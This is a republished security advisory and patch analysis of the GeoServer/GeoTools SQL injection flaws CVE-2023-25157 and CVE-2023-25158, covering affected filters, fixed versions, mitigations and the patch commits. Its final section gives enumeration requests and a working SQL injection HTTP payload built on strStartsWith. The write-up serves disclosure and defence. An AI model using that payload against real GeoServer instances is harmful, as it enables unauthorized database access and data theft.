GeoServer & GeoTools SQL Injection (CVE-2023-25157 & CVE-2023-25158)
2023-6-17 21:32:5 Author: govuln.com(查看原文) 阅读量:92 收藏

GeoServer & GeoTools SQL Injection (CVE-2023-25157 & CVE-2023-25158)


This repository contains a detailed description and replication steps of the SQL Injection vulnerabilities found in the GeoServer platform and GeoTools Library. The vulnerability has been assigned the identifier CVE-2023-25157 for GeoServer and CVE-2023-25158 for GeoTools.

GeoServer is an open-source software server written in Java that provides the ability to view, edit, and share geospatial data. It is designed to be a flexible, efficient solution for distributing geospatial data from a variety of sources such as Geographic Information System (GIS) databases, web-based data, and personal datasets.

GeoServer adheres to the Open Geospatial Consortium (OGC) standards for data sharing, including the Web Feature Service (WFS), Web Map Service (WMS), and the Web Coverage Service (WCS). This adherence to standards means that data from GeoServer can be used in a wide variety of applications, from custom-built GIS software to off-the-shelf solutions.

GeoServer is primarily built on the Spring Framework however, also uses a number of other libraries and frameworks, including:

  • GeoTools: An open-source Java library that provides tools for geospatial data. GeoServer uses GeoTools for many of its core functionalities, such as data reading, writing, and transformation.
  • Hibernate Validator: This is used for bean validations.
  • Java Topology Suite (JTS): An open-source Java software library that provides an object model for planar geometry together with a set of fundamental geometric functions. GeoServer uses it for geometric operations such as calculating bounding boxes.
  • Apache Wicket: This is used for the web admin interface. It's a component-based web application framework similar to JavaServer Faces and Tapestry.
  • Log4J: This is used for logging.

Vulnerabilities


The vulnerabilities in question are deeply embedded within the filter and function expressions defined by the Open Geospatial Consortium (OGC) standards. These expressions form the backbone of geospatial data querying and manipulation, playing a pivotal role in the functionality of systems like GeoServer and GeoTools.

When these vulnerabilities are exploited, they can lead to serious security breaches. Unauthorized disclosure of information is a primary concern, as attackers can potentially access sensitive data stored in the database. Unauthorized modification is another potential outcome, with attackers able to manipulate data to their advantage. Furthermore, these vulnerabilities can also facilitate disruption of service, with a successful exploit possibly leading to service unavailability.

The following provides an in-depth analysis of each identified vulnerability. Each vulnerability is explored in detail, discussing its specific characteristics, the conditions that lead to its manifestation, and the potential effects of its exploitation. Here's a detailed breakdown of the vulnerabilities found for GeoServer:

  • PropertyIsLike filter: this vulnerability is present when the PropertyIsLike filter is used with a String field in conjunction with any relational database-based Store, a PostGIS DataStore with encode functions enabled, or any image mosaic with an index stored in a relational database.
  • strEndsWith function: this vulnerability arises when the strEndsWith function is used with a PostGIS DataStore with encode functions enabled.
  • strStartsWith function: this vulnerability is found when the strStartsWith function is used with a PostGIS DataStore with encode functions enabled.
  • FeatureId filter: this vulnerability is present when the FeatureId filter is used with any database table that has a String primary key column and when prepared statements are disabled.
  • jsonArrayContains function: tThi vulnerability is found when the jsonArrayContains function is used with a String or JSON field and with a PostGIS or Oracle DataStore (only in GeoServer 2.22.0 and later versions).
  • DWithin filter: this vulnerability is discovered when the DWithin filter is used with an Oracle DataStore.

And here's a detailed breakdown of the vulnerabilities found for GeoTools:

  • PropertyIsLike filter:
    • requires PostGIS DataStore with encode functions enabled
    • or any JDBCDataStore (all relational databases) with String field (no mitigation)
  • strEndsWith function:
    • requires PostGIS DataStore with encode functions enabled
  • strStartsWith function:
    • requires PostGIS DataStore with encode functions enabled
  • FeatureId filter:
    • requires JDBCDataStore (all relational databases) with prepared statements disabled and table with String primary key (Oracle not affected, SQL Server and MySQL have no settings to enabled prepared statements, PostGIS does)
  • jsonArrayContains function:
    • requires PostGIS and Oracle DataStore with String or JSON field
  • DWithin filter:
    • happens only in Oracle DataStore, no mitigation

Affected Versions


Status


  • The updated GeoServer versions 2.21.4, 2.22.2, 2.20.7, 2.19.7, and 2.18.7, encompassing the corrections, are now publicly available.
  • Versions 28.2, 27.4, 26.7, 25.7, and 24.7 of GeoTools, which include the necessary patches, are now available for use.

Mitigation and Suggested Workarounds


The advised course of action for both the GeoServer SQL Injection (CVE-2023-25157) and the GeoTools SQL Injection (CVE-2023-25158) vulnerabilities is to upgrade to the referenced versions or higher. If this upgrade has been completed, no additional steps are required. However, for those who may find it challenging to upgrade promptly, the Geo team has provided some alternative solutions below.

  • Disabling the PostGIS Datastore encode functions setting to mitigate strEndsWith, strStartsWith vulnerabilities (like filters have no mitigation, if there is a string field in the feature type published).
  • Enabling the PostGIS DataStore preparedStatements setting to mitigate the FeatureId vulnerability.
    Map<String, Object> params = new HashMap < >();
    params.put("dbtype", "postgis");
    params.put("host", "localhost");
    params.put("port", 5432);
    params.put("schema", "public");
    params.put("database", "database");
    params.put("user", "postgres");
    params.put("passwd", "postgres");
    params.put("preparedStatements", true); // mitigation
    params.put("encode functions", false); // mitigation
    
    DataStore dataStore = DataStoreFinder.getDataStore(params);
  • As a good practice to limit the attack surface, it’s important to give the database account used for connection pools the minimum required level of privileges (e.g., read-only unless WFS-T/importer/REST granule harvesting are used, access limited only to the schemas and tables needed for production usage)
  • No mitigation is available for PropertyIsLike filter, you may choose to disable database DataStores until you are able to upgrade.
  • No mitigation is available for DWithin with Oracle DataStore, you may choose to disable Oracle DataStores until you are able to upgrade.

Patch Analysis: GitHub Issue and Related Commits


Provided links down below to several relevant JIRA issues pertaining to the SQL Injection vulnerabilities found in both GeoServer & GeoTools. These links offer access to crucial data, discussions, and proposed solutions related to these particular vulnerabilities.

When look at the geoserver/[email protected] commit, the following changes can be seen clearly, respectively:

  • In ConfigDatabase.java, there are additions of a property field and changes in constructors to include this property field. This allows for more customization of the database configuration, potentially allowing for enhanced security measures. NamedParameterJdbcTemplate is a class provided by Spring Framework which adds support for programming JDBC statements using named parameters, as opposed to programming JDBC statements using classic placeholder ('?') arguments. In the commit, the ConfigDatabase constructor is updated to take a DataSource and create a NamedParameterJdbcTemplate from it. Named parameters improve readability and can also prevent SQL injection attacks because they make it clear that the argument is parameterized, not part of the SQL command.

    src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java

    /* (c) 2014 Open Source Geospatial Foundation - all rights reserved
     * (c) 2001 - 2013 OpenPlans
     * This code is licensed under the GPL 2.0 license, available at the root
     * application directory.
     */
    package org.geoserver.jdbcconfig.internal;
    // import some packages...
    import org.geoserver.jdbcloader.JDBCLoaderProperties;

    public class ConfigDatabase implements ApplicationContextAware {
        public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
        private static final int LOCK_TIMEOUT_SECONDS = 60;

        private Dialect dialect;

        private JDBCLoaderProperties properties;
        // rest of the codebase

        protected ConfigDatabase() {
            //
        }

        public ConfigDatabase(
                JDBCLoaderProperties properties,
                DataSource dataSource,
                XStreamInfoSerialBinding binding) {
            this(properties, dataSource, binding, null);
        }

        public ConfigDatabase(
                JDBCLoaderProperties properties,
                final DataSource dataSource,
                final XStreamInfoSerialBinding binding,
                CacheProvider cacheProvider) {
            this.properties = properties;
            this.binding = binding;
            this.template = new NamedParameterJdbcTemplate(dataSource);
            // cannot use dataSource at this point due to spring context config hack
  • The actual SQL injection vulnerability appears to have been fixed through more safe SQL construction and execution, specifically through the use of parameterized queries rather than string concatenation, as seen in the changes to the template.queryForObject calls. Instead of using sql.toString(), the sql variable itself, which appears to be a safely constructed SQL statement.

    src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java

    // count = template.queryForObject(sql.toString(), namedParameters, Integer.class);
    count = template.queryForObject(sql, namedParameters, Integer.class);
    // private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
    private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
         /*
         * Start with the oid and id from the object table selecting for type and the filter.
         *
         * Then left join on oid for each property to sort by to turn it into an attribute.
         *
         * The sort each of the created attribute.
         */
    /** Escapes the contents of the SQL comment to prevent SQL injection. */
    public String escapeComment(String comment) {
        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");
        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");
    }
  • Appending Comments to SQL: A new method appendComment have been added to the Dialect.java class to append objects to the SQL as a comment. If debug mode is not enabled, these methods simply return the original SQL. If debug mode is enabled, they append the string representation of the provided objects to the SQL in the form of a comment. The comments are safely escaped using the escapeComment method.

    src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java

    /** Appends the objects to the SQL in a comment if debug mode is enabled. */
    public StringBuilder appendComment(StringBuilder sql, Object...objects) {
        if (!debugMode) {
            return sql;
        }
        sql.append(" /* ");
        for (Object object: objects) {
            sql.append(escapeComment(String.valueOf(object)));
        }
        return sql.append(" */\n");
    }
    /** Appends the objects to the SQL in an comment if debug mode is enabled. */
    public StringBuilder appendComment(Object sql, Object...objects) {
        return appendComment((StringBuilder) sql, objects);
    }
    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
        return sql.append(debugMode ? ifEnabled : ifDisabled);
    }
      public class Dialect {
      // rest of the code...
        public static Dialect detect(DataSource dataSource, boolean debugMode) {
          Dialect dialect;
          try {
              Connection conn = dataSource.getConnection();
          } catch (SQLException ex) {
              throw new RuntimeException(ex);
          }
          dialect.setDebugMode(debugMode);
          return dialect;
        }

        public boolean isDebugMode() {
            return debugMode;
        }

        public void setDebugMode(boolean debugMode) {
            this.debugMode = debugMode;
        }
      }

When look at the geotools/[email protected] commit, the following changes can be seen clearly, respectively:

  • The addition of the escapeBackslash field in modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java class is a precautionary measure to prevent certain forms of SQL injection where the backslash character is used to escape special characters in SQL syntax. By providing the option to escape backslashes in string literals, the developers are allowing the application to treat backslash characters as plain text rather than as escape characters, which in turn can limit the possibilities for SQL injection These changes work together to prevent SQL injection by ensuring that special characters in string literals (like single and double quotes and backslashes) are properly escaped before they are included in an SQL query. This is a common way to mitigate SQL injection vulnerabilities. When escapeBackslash is set to true, backslashes in string literals will be escaped when the escapeLiteral() method of the EscapeSql class is called. This method is used in various places in FilterToSQL.java class to escape string literals before they are included in an SQL query. For instance, the line 1762
  // single quotes must be escaped to have a valid sql string
  String escaped = escapeLiteral(encoding);

is one place where this method is called, and where the escapeBackslash setting would take effect. In the original code, the application manually replaced single quotes with two single quotes, which is a common way to escape single quotes in SQL. This is important because unescaped single quotes can allow an attacker to terminate a string literal prematurely and append their own SQL commands, leading to an SQL injection vulnerability.

In the modified code, instead of manually replacing single quotes, the application now calls the escapeLiteral() method from the EscapeSql.java class. This method is designed to escape not just single quotes, but also backslashes, and potentially double quotes based on its parameters:

    public static String escapeLiteral(
            String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
            // ' --> ''
            String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
            if (escapeBackslash) {
                // \ --> \\
                escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");
            }
            if (escapeDoubleQuote) {
                // " --> \"
                escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");
            }
            return escaped;

By doing this, the application is able to ensure that all special characters in the SQL string are properly escaped, which is a more robust and secure approach to preventing SQL injection.

  • Changes in convertToSQL92 method: The LikeFilterImpl.convertToSQL92 method converts a pattern from the standard SQL 'LIKE' syntax into SQL-92 syntax. In this commit, they added a new parameter to this method. The change from the method in FilterToSQL.java class in line 547:
  // String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
  String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);

seems to add a flag that likely affects the pattern conversion process. Previously, the method call did not include the false parameter at the end. This false value is presumably related to whether or not certain characters in the literal string are escaped during the conversion process. Escaping can help prevent SQL injection by ensuring that special characters in the literal string are not interpreted as part of the SQL syntax, but rather as simple text values.

  • Replacing out.write() with writeLiteral(): The replacement of out.write() with writeLiteral() is another major change. The out.write() method simply writes the given string to the output stream as it is, without any additional processing or escaping. This could potentially lead to SQL injection if the string contains any unescaped SQL syntax.
  • On the other hand, writeLiteral() presumably applies some form of escaping or sanitizing to the string before it is written to the output stream, thereby reducing the risk of SQL injection. This change also replaces a direct write operation with a call to writeLiteral(), which likely includes precautions to prevent SQL injection.
  // out.write(attValues.get(j).toString());
  writeLiteral(attValues.get(j));

Exploitation Request & Response


In order to exploit these vulnerabilities properly, first, it is required to getting:

  1. Available feature names
  2. Available properties for each available features

respectively. Therefore, the following request send to target server to getting available feature names.

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

1-get-available-feature-names - Copy

After getting available feature names, we need to send the following HTTP request to fetch available properties for relevant available features.

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

2-get-available-properties-from-available-features - Copy - Copy

After the two HTTP requests shown above, we enumerate all available feature names and the property names associated with these feature names. After this stage, we can perform the exploitation process by sending the SQL payload injected malicious HTTP request to the server for any fetched property.

GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>=strStartsWith%28<nameOftheAvailabePropertyHere>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

3-injection-of-sql-query - Copy

Conclusion


In conclusion, the discovery of these SQL Injection vulnerabilities in GeoServer and GeoTools, as outlined by CVE-2023-25157 and CVE-2023-25158, serves as a stark reminder of the ever-present threats in the digital landscape. These vulnerabilities, residing within the core OGC filter and function expressions, have the potential to cause significant disruptions and unauthorized data access or modifications.

For more information about remediation of these vulnerabilities, please visit the following resources:


文章来源: https://govuln.com/news/url/LXao
如有侵权请联系:admin#unsafe.sh